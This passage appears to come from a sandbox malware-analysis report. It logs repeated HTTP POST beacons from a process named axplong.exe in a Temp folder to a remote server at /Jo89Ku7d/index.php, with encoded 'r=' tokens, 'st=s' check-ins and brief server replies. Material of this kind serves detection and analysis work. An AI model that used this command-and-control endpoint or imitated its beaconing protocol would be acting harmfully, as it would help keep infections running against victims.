                            Date: Thu, 26 Sep 2024 22:21:45 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            99192.168.2.449836185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:46.029953957 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:46.752209902 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:46 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            100192.168.2.449837185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:46.881067991 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:47.617619038 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:47 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            101192.168.2.449838185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:47.628515959 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:48.328773022 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:48 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            102192.168.2.449839185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:48.454063892 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:50.059190989 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:49 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:50.060899019 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:49 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:50.061918974 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:49 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:50.062808037 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:49 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            103192.168.2.449840185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:50.070661068 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:50.841761112 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:50 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            104192.168.2.449841185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:50.958353996 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:51.682055950 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:51 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            105192.168.2.449842185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:51.691263914 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            106192.168.2.449843185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:51.811285973 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:52.598628044 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:52 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            107192.168.2.449844185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:52.608445883 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:53.322808981 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:53 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            108192.168.2.449845185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:53.436492920 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:54.126987934 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:54 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            109192.168.2.449846185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:54.139056921 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:54.861850977 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:54 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            110192.168.2.449847185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:54.985668898 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:55.694710970 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:55 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            111192.168.2.449848185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:55.704226017 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:56.622097969 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:56 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0
                            Sep 27, 2024 00:21:56.622486115 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:56 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            112192.168.2.449849185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:56.736440897 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:57.445558071 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:57 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            113192.168.2.449850185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:57.455348969 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:58.159631968 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:58 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            114192.168.2.449851185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:58.281975031 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:58.988626003 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:58 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            115192.168.2.449852185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:58.997355938 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:59.733243942 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:59 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            116192.168.2.449853185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:59.861289978 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:00.568489075 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:00 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            117192.168.2.449854185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:00.593746901 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:01.311024904 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:01 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            118192.168.2.449855185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:01.432305098 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:02.193285942 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:02 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            119192.168.2.449856185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:02.205967903 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:02.914645910 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:02 GMT
                            Content-Type: text/html; charset=UTF-8
